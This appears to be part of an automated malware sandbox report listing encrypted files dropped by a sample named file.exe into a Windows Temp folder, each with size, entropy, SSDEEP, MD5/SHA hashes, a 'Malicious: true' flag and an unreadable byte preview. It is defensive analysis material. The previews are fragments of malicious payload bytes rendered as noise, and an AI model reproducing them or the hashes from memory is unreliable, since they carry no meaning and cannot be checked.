Preview:	..9g.u..k..a...H.=!..r..I.[-l.....DE....k..iW...)3..@..........t...b{p{..7..y1..j...a..S.LF~4..8..H.\|.^D..T..52.a-B.z..W..w...;...^.:.......4Q/...E.P..v#_...U;...)B{.r..a.^O5:.j.......\z.e../..X. \|`....bR-..8.D.djk..o1X..#o...-e..Y....i....5J.?j.....=.>......m..I.%..Q.-3h-.l.d:..:g..A.=.Tn..`%S..C\|S?%.Co. 8..gc......u.?.a.T..I..H.....`.../8.MTS:#..^.%20.9Z.Df..F.....1...,....4.ys.4..n....t.H..K...B.s../...\E...B+O2..C..FP....\3.% ...I_.....Y@..$].+...t.V.!.$T.....2r}.^....+.\.....N..>.R.~..^..<>Y..%b...t..@.@5..v.=..p....3w.p.NT...@....jT.O....u.....q....Z$...4...nZ...........j....`K.{.6....x..J.$.G\|..qN..Qp.....6...."...6.f~&......f..d...9....K......2R..W.n..\.2.,o."0... ._974..y...*....)=..}'......i.q...o....e1v........R.$.B....."..=7....I.).i...........!....p...8I.nDY.~...co.B..Y..>)..>1.....H`..V..b..k.n..... u.scA..i.--..E..@.r8......\|}...S6c..%Nds...e%..GYy...u./.c.7 .c#.........U?..>I..9}..gq...m.G.y..2Mh..>.#z..D.......~..a3.y..j9.{.

C:\Users\user\AppData\Local\Temp\Exempt

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	52224
Entropy (8bit):	7.996128020369779
Encrypted:	true
SSDEEP:	1536:ukJC2uXdRTMvSP2DzoYtHF9SE4HbtbiEqDjG7:X2DgSOgYhF6Hbt9qDi7
MD5:	C67AE780274671474E25BD5737392BFC
SHA1:	0980E74A6D7A43E48E4F925247A52DD9074B564D
SHA-256:	69362EF4CAD72D43C8D414B4C4B7B0FA90FDE609F6DABE1C5D5CAD158ECCC9C4
SHA-512:	09A8AEEC3AA4898760FE19DB67B8476FBC0941C4EAFEAB035E50CD1121DB3EC2E453FE13006DD3C690E2E7389E633A44FB48B85E70EF875117CEDC915F0B3B9B
Malicious:	true
Preview:	.r.Y`.W.f..r.M.r...aTs.9.=Lnw`...$l.M..M.....DA..eE..k...."7..8.6c.k...e....&5.."-d$..^.....6....H.(.....Mt-.S....?.=......6.P]P.%.P...3.m.s....nE...s....QB.j.%.Q...P).9....k.`XM.;$^.Z.....s..})..xT.H.... O.\|5J........1%..N.........Y'..;.m..z..._....FG...N3%..v..;.l...vG.^..`O.1...+>4.../.\....=KO0.9.Z._../..]W..ae...$.......e.y.A...xYoo)........1..h...5}.u....'..UW.....;.%............R..e4...[oW...2.R8...5.i.Z...rY.}.....#.{~.g3k....MV..1......!.F........r...t....4.Jj;.%.t..}.!.k..........TN......A....d..1N.F..'L....+d;......\|.I...i.t.P>........@.@....{TY...DPl...({...\R.H.Y..........o.....Am.N.^.. .......?.../.m~LSY2..S...n..O.Z.4S8.l&..e*..5...~..,.......>Tz.4....?../.7a.A....W...(.M.+..T....B2..bb.-f.u......B.-....g.m.[0^N......h..-%..cY..!l...5..."...A6.[Q....?W.Y./....dha(......J...[...u....F....9R.TH0..[l.... ~w?....Lx.LQ:.\|....VlK..'.r%6.x....T.(.....}.X..\|...........B.O1:Kt..0.f..r....gM...... 5c....$/:....F.......W..7...

C:\Users\user\AppData\Local\Temp\Exhibits

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	71680
Entropy (8bit):	7.997449112307847
Encrypted:	true
SSDEEP:	1536:sdTBuPT+puwhiyPVqqkhX/fn9SjiNTMzQacKtMS1DNcCs:sdTB0CpZhiytP6X/VSwT0IKiS1DNcCs
MD5:	F33B1DAF07979433A34155D6B4497E6A
SHA1:	255FAF2A83087674B9CAF4A59C45B31F54589A9E
SHA-256:	78466875C263E035619B49EA607B6D7A4F773CD2AE83159AFAD8430243A9975F
SHA-512:	CE25A95947B2CD54BA04A1FB4230797A7F15A596F8104E9422EFCECD980995A328196709B414905479F61E112AE52FEC40D42F6E3EA355CEC661C34F3FA3C590
Malicious:	true
Preview:	...&.. ...bP..R..A..&....@H..D...q..n.'`.r..C......).E...4RQ8.l.b..]p.&..B.t_.?.3....{]..........O{......x.....9q....7...0lH......b.....q.X!m.q9..\|..G..R..b.Md=..rM.9z....+.S..a.i...5>..8..O....$...W..coq?d}\.Wb..-=.6.g...Qc.Re9.c6..U..Y.MtTE...zKs.... b....jjB..uv..............aj...{....v......w._....l=.3.p^N2....7..aI.......I.K.s...q..J....x.Z...aa..........>...]....mU.zN.M..yK..I.S....D.....)....M..]......-...D..2....f.M.....?.Ul.=`...........Qo1q..T8iz...3.5o"!.x...^.+..'....zevt.i..JD<0......SW.....y..5US8...T.)..O>.....-..6\|.M....K..s..^.....a...MU..._.\|.v.X.}S.I..5n.S@.qhf6..P....[.gH...../.......\%....d.._)..t..^.M3U5.r........5...II.......^B'a..=.1?..l..?.1.N..?OFZ..F%..X.....KN<....9.O......c..x.T..F...b".6H....hN..5z...8.R:..~.k........'...I.KtW.9G..o*..]4hAKM....6...]2.9.{..F..(.)..^=~.o'..W..^....../-W._R,.d.:.(.].'RZ....1.y.!...58.}:....]...LZ..{!K.&\Iz.2fEx..C..CT.\|....._..qL....g.........iL^y_.a.D7......_.w.%..f....

C:\Users\user\AppData\Local\Temp\Expert

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	76800
Entropy (8bit):	7.997803376894113
Encrypted:	true
SSDEEP:	1536:GvSY3CFVxevWiNwZUsJ9lXNRuHgSAbb0j96rHrESLR:ISx/EvWiNwZUsJ9lB/0GrE6R
MD5:	770A50528592555427BF058A56B2F586
SHA1:	02A7B11607ABC56EAE99EC6D86653E881592E6C8
SHA-256:	C501E4E41DF98945F2A5505251BD8FCA7049589CD0A6E486925736D5188C5F29
SHA-512:	1361C74A2F216048C95DE3706F300B9F0FF677EC84EE799E333648A0ABDD7A6C42E9FE49C090C654E719732861B0EB8C8E79BB8DF3B9052179FCE17B3724582D
Malicious:	true
Preview:	h.ybL56I..i...$.3.l,.s.@.s.......$...Lkd."...q#..=....S.&O+)!yA..}@>.H.....W.1P..4....v...Cy........%<..R.U@~..o.L...........R:.]~.Zicfuz.....j...L.^....#...[.J..'...2:...1.'./X..y..~....&..=.....E.\|y#"...`7{..?...Z..f.......P1}.,m.]p.(;:.4..........y....KE.Sz...8,z...8.e,d...4.JM....(w.^........V.....]."...Ql.t.`ha1".....9.....A...X..Yg\p..._..W...D..>..g.'..JqxnNg$.RjF........}C..{.{15.8..L&<..S)\|.i..r.>.k.N.\...Z.....m.dM2\|n].....n.'.........<.......G9._.{N[......B..\{).Z.K...\...A.....kO.P..?..C../'...n(\.x.'....pZ}M.[.<Si.S.].;W..nX..Pi.S.b.....$^o..y)Sq...*te.VN...'.D......n..X..wu..g)...@...A.............H.A!._..,h...,.....Wc......".T.[..<._.+..a...k`...-q.W.)....h..%._....E..l.m..$B...i&....W..4.~xR..s..D.W..MHC.{.#..[M....6Ht....#h.. ......zv...~..c..V....V..2.Drp"$x-f..C. .i1/....s0\.`<..w.:b4_...Iy..!ic.?....L1W<S.&..F(.s..._Bna.K.6T. >XK..gP.8.....N.ob_.w..aJ...Mv....B...!7......:..7.G.m.iRI._\./.b!{?u........_f.i..,.

C:\Users\user\AppData\Local\Temp\Games

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	64512
Entropy (8bit):	7.997457414075772
Encrypted:	true
SSDEEP:	1536:xG7UUl3tcneqBwrOiCzT594j8qNdjy5nrVB8QBc6:xG7UqGedK1dSA+djyZpB8A
MD5:	1E27880DE010B6C07310E2C30F4B2A11
SHA1:	AC8A6E4F85255BEDF65908DAE8BB3F619EE43B29
SHA-256:	4EB3B657D825F1D3C2B6CA52CDB5746F111E25E107C1DA3100EA8E294FC051F6
SHA-512:	E4066ED9F3A7E797CC524B8FA45E33CD2F9F6C594E52890D8D51D70E79924AA2EAB0A7C42492A852C81BF008CE5EECDFAF5404A54DC9F58AF95F47A52F280019
Malicious:	true
Preview:	.6..:.Y...esw...M+..mn<b`K.10.n..>...........N...La......_....e..'Z.1.../B..s...".hUR.....W..........w..X....G......2..NG^Z.&WnYq...q..~..T.}aLp~S...4a.7p.....y...\.r.)g+++>........0'......(...us..@.....F.".F..~P@...;b..s....,.W.7..Jy...t.C....m...!.m.G.....}.Q..>.c..H..a\|.yop2.t-...57D.q..]....../.Q..&...9.......S..pR....q.tW.ZN...VA5=..Y..'....[.B..t..X:..N4%..e...Y2j.2...... .2sJ.Fy.....UOi...'...3.E.T..s.s.s.2.R.9-G..b..`....fj.._...n...}....R...sX..wQ...M.c.....s....Go..M.T2p..#..U.f....0.0B......Ro...q=.....U.>...R..St.e.f.7._b......l.(Y"=c...q..Ou.........N'..=fh...W.~.z..Ca...xw.R.XS:N#.......k.[M.!....2....C+...X$k;nS........$...Y..o.3.9.K...SW.x7.Z..e...K.....^..BA.........2c..y... B1...t.V..jE.b.[....<....Z....M....!}.1..(1=....MTuy.............."...P..7.. ....j..T}.y.o~.4s.0C.4X....G..qF..U...x......Hh...El...0.x...I...*/?4.fw.a.q.!)..2@l..K.P.H.9p....,...g.....SG........L.4...t........&...4...e.....z..F`....E~5mR

C:\Users\user\AppData\Local\Temp\Guy

Process:	C:\Users\user\Desktop\file.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	66560
Entropy (8bit):	7.996999532174974
Encrypted:	true
SSDEEP:	1536:yyWsLLyeb9+a0/wmOzwCpXuV9rIOB+c3nYiakB4DpXPPD88L:yZsLjQa0/jQOBJ31rSDpXjRL
MD5:	48313106D8956C70102FA1DB87985D80
SHA1:	80C392FE38F9077054125205CE9DD1B4B3EB23FB
SHA-256:	56E5164700FB5223C11B910F8D262016B041E17BB679442CC22CACCCDDCBBDA1
SHA-512:	4AA1FA7EC73E39A720C5E36B79E02B3630C4154C637B81441C33D61B5EA05BE8285031F0C7DB12A8B893EA40E7A4B37FBB7AE04F7343589FB57D1DEDDCC8D695
Malicious:	true
Preview:	.(\..L..R.R..ar..8......m.E........a......).Dd..(l~C.-....\|...b.....ue..MQ@e^.ca....p..9..],.~=c..OP...h..B.I....\.....e.KdN=.L=.p......tP..l._.G..%Hr.?.Y.......k<...5.T7.N....\|./.H....{...r.PX..`s.n.8.[..z...N.-.......n.&YT......C.....Z..?......um.dA..vN..7.BVBpc...a`F.]".........~?&..y......1o...9gmX.:.Fn.4w.4.....m.........Xh..k!ig......m.m~l=...b.[..wNd..V.Z%.......Z.W.1.E......c.(..}..I...x....G....sG..\.......w3g...Z.vt..vzl.P\|.g...,.....5..%).D-...%.4.......,.....V...C....).;\|.L...C.c0n....C..5.!..).g......rE...j...^...........30..QK..AAn..2..S.........;c.u...d......C.d.\|H.......#.!9...".m.\|.....a{4.Q.S.......c.......S..@...lU.T.J.......N.J......oY..v>L..;J..r@k.'.@.........:#.8..;..^..D...F.Q.?X....C@...V.'..h !..I..W.,..3.Z...<...5@=.#.^w..X9...%...A...... [e<.R>A..&....\|.......F>qxi....m5.BTH.+..".4m5..,...2.......!=K.V..Y>>.........A...._..n..4..M.....{..v.....FL.Av....'B...h....4..}...u...2v.h]P.__..)z....+...Xj]...d.-c.hSf

C:\Users\user\AppData\Local\Temp\Holdem

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	56320
Entropy (8bit):	7.997529043650954
Encrypted:	true
SSDEEP:	1536:iBifkAkDplPtuCUWoXZRoej3FiwjtYGrDWlubJLVb:iEkAkDjtu9RLkwjtBD0uVLVb
MD5:	5367D9136B7C1D7F03C5433C388ED17D
SHA1:	E28C758B00703A3B4AD8CB767F5B2F4FC577315E
SHA-256:	EFB5D1444464E8BE96F7C89DBB7B14F926B052A7AD5CB7B4692BFDD9A8FF8069
SHA-512:	4F6BAE3761F4DC4DAE1022F3E3A0B3B2D5838939D45AD90189F96EFEA77C44814E6A0E25EA84E609AADE8AFF0DC4B3880DCC3152352D2249713231EBBB6E50D5
Malicious:	true
Preview:	.o..RM.7.c...Lo.t.`...?..TT<..R.^j....4r...L.d.....\..I5.~=...+..k....`.&C.1.r......R..c.0+y%..F..x....7...T......J... ..<1M.I..-.......% .c`\F.lZ.(.U.y...5.i.....9.f.Ap._?SG-3e)@...S...4..A....IUH......W?.P....Ng...r..OH........)...zG.}.U#..{.~....e2E.......I.A5..+U....#\..}.p.wmA....t.I..=...Oe.=8.l.........S.\0e..........=.<+.I......5...\|...0....]!...1VOT...1.;5..t..{.3..D....j. .."...f...d..T.Nf\...t..wZ,.5.yT.=#H.r...o..K..R.P6d.h\.qE%.g9.Q..VB......g<Z.,.....>.R......L.^.^mH...O.....8^.$~.......{@IV.S3c...J.@O...G/.g..Qk..H...n......4.......+.`..-R;c.z.....5........].Y.....S1..d..E.....@.a..;........Fx2=E....1..ONH......XK..C?].h.DH~.}.].CC......*......S...`wC.pb..[...[.&..(.......]\z?.....T...H.....7%...{(.....$..B.C...e..K...J..g.;.I........$.M...l.A!.a_..9n-...bfH.yC.rC..?.D5.L.&......\|5..H......Tk..Jlk..^c^.?...>.kJ.....!....w\..y.....7....g..L.aA...a.i.=...}..uo.. .....C...p.#..g=}P.....a...3..Pm..SU..~..w.A>.T.$...w...HL\|..

C:\Users\user\AppData\Local\Temp\Hotel

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	92160
Entropy (8bit):	7.998350326457807
Encrypted:	true
SSDEEP:	1536:EcvrXShCcEW5IXxgtlbPrF01kZs5QaurdIIpImeH6WwglwSPAnJ/7Mn8k7NhZD0u:NrJSWXxgjrJ16urd3p/wxwgCJ/AnHBhr
MD5:	6FD979E6901C4860B4CE9FB8E8A7B0C8
SHA1:	E9F119A42ADA6073A946B0C86561434C49588D01
SHA-256:	9073184D53085654B4E0CB65396BE7571491A902B354C582B905BAE2B9579817
SHA-512:	4E2E2EB74A6AC76A61ABD9F17391372225A4CFBADC24D30D9D0D80314AD1D1A06EC8A5713D2A0B6ACF658B0E27E8202BD33AF966AB51C44AEC5B61F0EF86F0BB
Malicious:	true
Preview:	.qJx.\|.m.5....+...g......q...'+nI........0O{R.E,.Y.Rq)..:.}.#~..I...L=.:....r{l./...}..l......\|.....R3U.q..Nl.c.z`&...~..sU.e.\|q`.n..-.....wx...l.@rQ...t4.....$..H..c.a.ZiH8rB.H...pL....)...c.........`..D]....afL..4$.........v".s.c..d\......to%q....nAj%.@...joY..A...p....+...1........T%.ho.../?.VM._).Z..:...I.y)..+L..f.p..U....[...m.......?.3....<..... ..Y..G...M.G....V~._....6.p.c.Z....8..y&_....T....6.rD{..Q.1..F.{./ .~J...i..L.=..ER.......8.9L......c.6(".A$.Xp.=#.<mA..wb..i,ri...}..P>......l).M./.<D.M.,..+...WG.aENm[.mJ.C..T.[~..........Lhr]..8a44H.%S.....5..3....../..\p.9...q..20..K.0Z..........h...:.+..i......0D.H7.Hg....r#K..p5q....]LY.8.Jr.....<..._!dH@.g\#^+....6Z.`K.$..n"O..%.[.o..ae...;".&........D..$.....2..?..\|J..(....<.8...N[..5.K......aP..=...$t.........2....?.y....v...Y.qN$..b*9..%.;...(.3.l.%.....iP......N.Z.6..M[..Y....?.{....U...._....]..\1.r....nY..N.......ju-.p_.0Y.......\0..........2B.X.XiG...

C:\Users\user\AppData\Local\Temp\Households

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	64512
Entropy (8bit):	7.997086884054199
Encrypted:	true
SSDEEP:	1536:GjL4qEOtRM+iAckFX7Ip/Ztm3X9YYMIpHeU7mWHy+fNWhA:e8Ii+iAxFXs7c9MIdBbfIhA
MD5:	DB0DAFBDA7E17C66AB797563E2BF2711
SHA1:	659BBE5B558AEA3438CCC443D573BD93741CF9B9
SHA-256:	C136C4A84EE625A31733105A8D063C02E9FFAC0F547892E5143EB6BBAB696BA8
SHA-512:	91C773C66FBD7CDA117724E7B5CA3893DD27E57954F3C5A3B5102EAA6A74472DBBBE6A8217229DA7BC1D23ED0DC5A79107E563C8F661B61BA1350823FFC77BC1
Malicious:	true
Preview:	..... }.u.....R.....I..z...>..&.1!.:.JTk..A.{.B..........c~{r.A..F.e.s....6.H..\....3.l...7.;...s...O.y.n..T.. &a4.M&..D7.Y..(_[B...$...+.....;~.r....1=R..3:}o/.A.?.$.^.w....Jyr1.....qd.zdGQ..b0.X.wa.D6..0.m`..P.c^..^...#.`[..7.6...,.yBo..^L....}S..j.....^L...mi.,M.'xB......h......HN.Y.}.3..i......s.w.2....,S.p=.Q....T...3.b+.....u...\.h_q.\7..J.Y./<AyI/.......3K.z~.8.....lH....}c...zGk.p....5...7...38...s........#.O7.W..2.c[..<......PEl........b...xYK..IB.~MG....J....:.wa.?.t....H..A..Yg.4\|al.M..P.7.(...v.y.....HX..xV9.3.7.C..i.a.T...C..-......u.y.OF..,N.x.......et..I.x.t....x...d\.A.V.j..N..N.a]$.....7.....+..M.>~.sX.P*.P....t.6...J...6..?V....Rp..;M".z...&...f.)D...u ..G&..fo..7.5.EC.O.%..c~S.7.M#..1.a.$L.........=^:..8.s"r..S...Z..`.y.I@.X.a.-h...O.......F....P.h4...~....v.iaW..oj..y..\..A.1.%.=.3 ..s...TvL8k2P.f..2...pR1%.j....&@K.J..Ps...k.s...?..b....%...[.`...s....u.f">.O.........qV.)......d..'.LA.:....&...z..".K5.9].W.\aj.v

C:\Users\user\AppData\Local\Temp\Individuals

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	67584
Entropy (8bit):	7.9968801316142315
Encrypted:	true
SSDEEP:	1536:JQuqFcc6/eaxcT2wPtZm0DaBlIz276oTogJTxAyE:JQYctTptZrYISJTV+D
MD5:	35D0D43DA1664E58478D94128707DA73
SHA1:	2F788AC9270A234FFE53CB07FD926722EF0D6B19
SHA-256:	79BBD998B92B39A84410163966C16855E55463BE29310B0CA82D0F9B815C6834
SHA-512:	FEFD1AF648417E357C908D0350E69FCDC9B2DA8677590E0D625269E64E4A105AD84F47B7BC9C9F8359BC2379B419DBC38DDE5806FCA56CB748DF70EB36F364A6
Malicious:	true
Preview:	....{.a.+.m.1.<.:?.=.3t- O..8<g+..g....[.w.U?.%.........#..%Y{..k@I..Xy..j.8.(...i.fJ.J1m..s+.G)...;..R.q....N.`....Y.....e>m{....U....8.......Y...;.l.P..r.'.......q..M......g...ZfX...]H.}@a..f..-.v.....v".wR\S.y..R..t.V.y.\|../OaZxQ..}..FY...x....1vnt..,k}..y...A1.Z..n.....iz.9.....4.....^.a..N..bKz.N.B..Jr.h5.y.[.....g...8`...KZgU..._.~..0.j..h,.9o.-L.....%....m.1~}k..^...[]Y.?...\|.>...p......?V.9..+qNV?L..7....K....ja.N.C. ...k..~........C45.......D.N....x...-..h.?..z~...h..qH..,...^.A~-z....R.V.H'..D....!Sw..xD..n..5HHX...$..i.3........Z5.........z.]B........YVJ.w.:..7fx.......LL/.Z.G%.o.z.."t0...^l.tQ.2..9.E.@.F.....z.F..l.....5.a...._.B....QY......{.r.Z...Q.Q...i.dY.+-..%A.@#[.....4...$..1..........lW.w]I"Y.S...M....H...`^Y.$':.Q..<..Q-.....=..NRF..!'........~..g%N....o.o.Z\|.....MM._...........Q..`s.foZ."&j. .....A.....=v.y1u........r.Q)...>...c'.0...D.e>...p/.......X4....NT...2.`,s.1U..CO.<.7n...%.&m.O..MQ...I-3C...q....\..7.:

C:\Users\user\AppData\Local\Temp\Innocent

Process:	C:\Users\user\Desktop\file.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	7.998121796911163
Encrypted:	true
SSDEEP:	1536:eecbHlDjpr4H10m/VE9msufA+CbgaSNLDhh3piZCfQSpx7GSL7sq5Bwr5:z6DjpMV00UmsufAYh5cCf3IMAq5Bwr5
MD5:	B2E5203A7D0DFE9DABC6FB932544197C
SHA1:	469588B97F5A32B9C4B3257522110548890078E3
SHA-256:	50EF4221C1732E8095424438E58EB85A182372AD7B6A0099047760E81C291CD4
SHA-512:	932FC653F043F3E85406677B444D6005C8FE49AF4B9C05C38D8C022C537164826EE987B190DD585CA3EB5DD28BA18A3A56FC90E0442C9FF54708EA39E5178C47
Malicious:	true
Preview:	..a~....n....;Y.......M.......>~..s!..x.. ..h..TH.......I...R.}...#.^SoC.~$.......xh..2.'5..;............8....S....B.......=.q".\|....#d.........4...X.X.....f..H.T..].!.gx....s..82.st]..>.Z.y.?...B..C......8.u.........h~........C.oY.;.xZ#..d.g.T..D.{ g6.{.@...(&k.gn.\3xL.....&w9.....5d.....G+.m.\|vzf;.b..a.X.F.....v<7.8.....:..BBX......k..H.....@.Cp....{t.......L..x..)^.G.-..Q..p.K...V!.q...j.......Au>....... 1(..N...S..#.b....L........j...G............:1.....kV=%..)!.d.S.&..W.o.G..r.......?.....CZ).7..~Tn.V.k...h....&.u(.....sr8\..m.]X.Js=9..'...."_..5..v.o......._..B"n/.}.w1..FG.@0{..T.P..j<..X....H.Y.uS.......!.s..i#H1q.8...V..--MN3....h..{........-....+.\|\|,9.../F..u...q.u.......DX......"d..3n.....Y..6..\.?u..SI..[.s,.?.c.ayP..iQ..........l.$?..,....K..2....0@...G.......i.{[...?<........d.3...X.......I....C.^7..#.fr>Sv5w.F..~..@q.s8X./o-..k.._4.../u....:...Z.....>u.x..A#?G....+.u......~%....4R.9....4NA.P.........^.. GI.Tm..-..t%

C:\Users\user\AppData\Local\Temp\Jpg

Process:	C:\Users\user\Desktop\file.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	93184
Entropy (8bit):	7.997924716618812
Encrypted:	true
SSDEEP:	1536:xZS30cZdYWhn4nHM/TzJ1BqCuq0RmkXqmYhN1UnDLjX7kEBlkA9DNYp:xZ9cDYWhn4Yn7uqKmkXO5+LxIqDN4
MD5:	1C2528497553816DB00C62DD024EC143
SHA1:	63C1AEE46CA09816EC774265F5B8D6A96EE5EE63
SHA-256:	03752567439AA275CF8955C2CCF0360D99D0FA2394C37B4CEE22A85B1467748C
SHA-512:	2D473EDAF34B53C2C04CD968CEC4D209340ACB4A04744D43CC393F2A5DB60A1112A8C45AC7C6D74A35EDE0DF15B3D9C60DF2E512B36DE3409AB0DC5390F9BD0C
Malicious:	true
Preview:	.\.cowg.........j...+....d...Df...]d... ...U....r&....>...zY.C../q.....e..?.h.....n./.A./.4.1..wA...F...}...k?....G.~..\..,.}...\|..%.m.y'@U9g..(..6G....4.\^.....1..\|....-..W..w._...>..Pi+#.2...9....\|l.R.:.e....i"Rpn..V....[......<....`X....VA......Y..g\|gb...P1..C....{'Nncs..l..#..hi..(.[C.v.-LO.......9.."....@K.l.U.....{#y.G....L.}.r.H&2..kH.=./.F/......V.~....R..W......&S.].-......\O5.mE7....?.g.H....d].....E..6.HW.Ao.iY\..Q.t..x.1..H.6.)..V.<..Kz..fT...W..d..."fP2..x.E...8.....1....p.;&.jM7.Yz..-..]....a.....?..{/.@e..P.GA.)..8....D..P#.].......=D......b.;C...$.......T....p.....@.$...l..T.....f.wY.0........I=@.z.Y....\|.e..}..!O........(.z...?".b...1V.?...a.Xh2_/3..QdmU...<.}5.K...)f.I..j..v.\|....zO..4....=o).R.m...D..`....F.....,a...`.i.Y.B.. ..w...~./T..:.....6o.i..m.,.....%\.f?..{....!...]o.j.....&pK..8q&..R....z.-.:.....%........ ..oT.ES.Y.\G.[..D~.S.$........RjQ}K.%.L..[.......#u.kA.&72y..k+....w....J.q.P..`......;E.-...

C:\Users\user\AppData\Local\Temp\Jungle

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	75776
Entropy (8bit):	7.997568079338421
Encrypted:	true
SSDEEP:	1536:UgEsqvc/CQaTP+s8RHwH/6gX/zTKp9r6TdvR7p8duexD0EKhQ+yP:UgEsqvuCQEN8pqSgX/Kr6hEnxD0EKqP
MD5:	52B65FAD50353274B962C5B10DEE577B
SHA1:	4BE864BEE1AE00DDE41D8364ABA37D3000C39800
SHA-256:	67FA184416E7552A7C46E35577F3B227DC39D90B530DED039EC7FA46B33461F2
SHA-512:	55AE96566170A1622F0835A1864360869D7D747F8136DAB4020F52A0B5B84F7CF26A97996A7EDD09431A63CC0C968221E044E5C0E7DB7AB397EDB0A3FDC22287
Malicious:	true
Preview:	.!}r..)je.....b.F../..r...m..z...eh.@....$x. g.....5..4..._.....k....F.H7.....B.j..)...JsJ%S.E"...r.....PEn.:.q9N.KP......>.sl....b...K"...x>t.{........ (+.}...A...S.R._.TN..l@.\.<n...,....>..s)/..&....`.W......U&..>..._..D..XR:W.<=...........Ba]..l.W.........Y..^[...;c.>.\>.........=g...b....OWY..e...kOhJ....q.9.....}...M'.+.X?..m."....@U_5d...'..+?W.......D.mf9{).V..W.m.r.C..]...jZ9.. ....H.;......z....^qo.3.R.:z..N.@..b].....QG...lW.`.P..f....@G..n$..+....]..V@5Q?.}[2.YkX...I.l.;......6..@....}....b.>$x...b.,..l...;.U...rE.+..8.....`'S.%.g+,..!......B......._.mD#..Et9...y...8...P.u.Zo4...BF..D....Z....(...f.v.T...<....!N&.G...A...`..x.A.!k.j.NV.z[.'"...#.0E.$8p..{y..u.'CZ..._.4OT(A1l1..)..P\J.C.."..]t5.Lo...9..5(..\..9^.'.q.`.$./..0F..0]sP......Rg..OK..A+.7...+....+..he....uA.TkD..g....@........q.....F/.2..ni......O.~[5...{.......O.....wo._D...eD..F.`.8O..m..._v..:.&0......o.mEX..\|.{[.xp13.....d.B\.O....Q.!.#..x5M..Y.....u....

C:\Users\user\AppData\Local\Temp\Lambda

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	92160
Entropy (8bit):	7.997923921413788
Encrypted:	true
SSDEEP:	1536:2HU4sVWdrSZdD+rb9RRLQedcoSqTULYucbiTjmQdZ/YP4kT7dVpPVMPCbzME:2HnIqWXDmRRL2qTUsuc+nmg+JVpPVMPy
MD5:	DFD76B66DB77FF05DE73827C77A3801B
SHA1:	FED2B5FA2CD3CD90232DAEBF0505B7062D493BA6
SHA-256:	77C7DFEE7C8A1C5781F037A014109D51EF371EBE0916A6E8C22E8130C9514F5F
SHA-512:	C05671E1C03C5955FAB475005EC7D226231C8CF6ABF69D97FE6CEEB6E5170637119532FB4ABFDD7BC6DE7ABA313D2D15AA94F7E8CA44D3016E6FBA689165144B
Malicious:	true
Preview:	.~EN`.+'\.m.$.eSOd0...W...Lz0.t~....8..1.)e..5..i./-:.#..i).$.j3`DKv8E~=..Hl`...$.y.\|W.er..Z.t.Zz?cj...%.$/.1:.c....Fa.z.78.$....]k.UzP.rU%..=.6.$.V..^..iX.V\|$6..~..q..V.l..O.s....&..K....!.R.......l..p.n.n.w..L.q..N.j.=.w...7.~:w[.W...T.}?.s.Bt..kZ}......^.wg.;...Z ...j...Z.9Trt....H.K....&.e...}.".........}.xW3...}...}Z!.X..-...r.5EA...'..b.....c.....q.&.....5=c.g......=.f.`e....:6...5o.-.R..:\..].}..........Shz...R..)S...G-b... ....O. .i`d.U..<......`..(.FR..[.....I..p7.e..... ..J.1...Mz.XqP..d.5.Lw.h...f...k...r....-....pj........!....3..u\|....6.._..h.......?}........_.K.M..5L...,q....wi.....'-.,....VwIUt?.k....(.C.....r,.)l./....o.F..(.r.E.....;R\G..G+k\|]i.I?.uk. .(..H.a...#..w..V.ZI.E....".0..+.fT....(.t.5...<..b.}..g.W..-..~.r..,..t.:.g...T}y..z....".NM.#..L.-.2.....J..... OV(.-2...w.w.....\|.....K.F...<w".<'...b.....N...ez...^.S..0...-D.)7{.,.sH.[.....W.p ..P$c...[:M......0@..(7f....K..L....=.4..WH....CCl..F...`....Q.&..

C:\Users\user\AppData\Local\Temp\Landscape

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	74752
Entropy (8bit):	7.997519356478973
Encrypted:	true
SSDEEP:	1536:kx6fVFVhZjUDsFHZxN8L/j+g7iruiLjMCPmHi4IvY+AjQBgkXCLLQ+:DfVFVLHZD8L/jz7d+mHi4Ig+AjQBg9Q+
MD5:	E4E5AD2B336634241072FCBE6F0F952F
SHA1:	B5BEAE94E19DDE8CFBBE62319697ACF02569B697
SHA-256:	2742D13C98E22E492E4A48E9252F70C80A3BADCE5D945E60935F212580C89EF3
SHA-512:	16BB97F2E2C2E5B87AF32F48E6FECC33D2DABA6D829E684C6B23AF865A6A4B751433AC4096121DA16BAA0197157E85F9E6596703A4168F43C9D184E650A5A45E
Malicious:	true
Preview:	...Q.Y..>..'I.X.8..fS.K....;....E\|....c.-.:.>...4E....x.c%....t.i.t./../...H....\|..FIV...j..n.U...;..'4..r..$x....o[`CP\..O...>........jo.z.'^...v..:....1\..>..)N....2.L...A.~?...<....f.{-...D...... ...g......l.r>...h5C.&..=..........0..A8.8uj.G.<}..`QQ.}\|.J..n...o.`.,..r.F..)....6...!...w;'.3i.....g.Sx...w}...K..B.74;G.....pD..(..;`..8.iV3K.......t....4.%.-.?~.+......Q.[.2.....G..ARpZ....u.8`ueL.4.....1R...........r.\..z1..?..U..3.._..d._..V..........c..H...'..8..._...._fi....M1%.n..h...z6.u.6.C....6.T/..u...,2d......5....+......;.Wx ..c..PN....I#.q.....~.....[.u.8...r)...`R....=vk......<.N0...X......G....xP5..j....1\|.T......B..G.9....Sh&..7a....Ip"..l.n.Z.n#G.R..4O[.@`..I..c.6.Y...%XM...{....~XX.........;.......).b..y....K.#.'..;...\......S........!&....b.D.f.W...}..U......X...!.X.%...4s..7.......q....}b..%@...C.....C.l~sH.;.......U.........~...a...=P.HV.E....5....G.....j.N.\.z.....k.j.....\|..*\X..@.....Kq......<...mA&.Sm.

